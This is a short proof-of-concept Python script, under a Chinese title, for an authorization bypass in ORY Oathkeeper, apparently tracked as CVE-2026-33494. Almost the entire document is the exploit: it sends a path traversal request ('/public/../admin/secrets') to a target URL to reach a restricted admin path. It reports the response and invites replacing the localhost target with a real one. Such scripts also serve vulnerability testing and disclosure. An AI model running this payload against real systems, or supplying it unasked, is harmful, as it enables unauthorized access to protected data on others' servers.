CVE-2026-33494 ORY Oathkeeper 授权绕过漏洞

# PoC for CVE-2026-33494: ORY Oathkeeper Authorization Bypass # This script demonstrates how a path traversal sequence can bypass access rules. import requests def check_vulnerability(target_url): # Scenario: /public is an allowed path, /admin is restricted # The attack payload uses path traversal to reach /admin payload_path = "/public/../admin/secrets" full_url = f"{target_url.rstrip('/')}{payload_path}" print(f"[+] Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) # Check if the request was successful (indicating a bypass) if response.status_code == 200: print("[!] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content Preview: {response.text[:200]}") else: print(f"[-] Access Denied or Patched. Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:4456" # Replace with actual target check_vulnerability(target)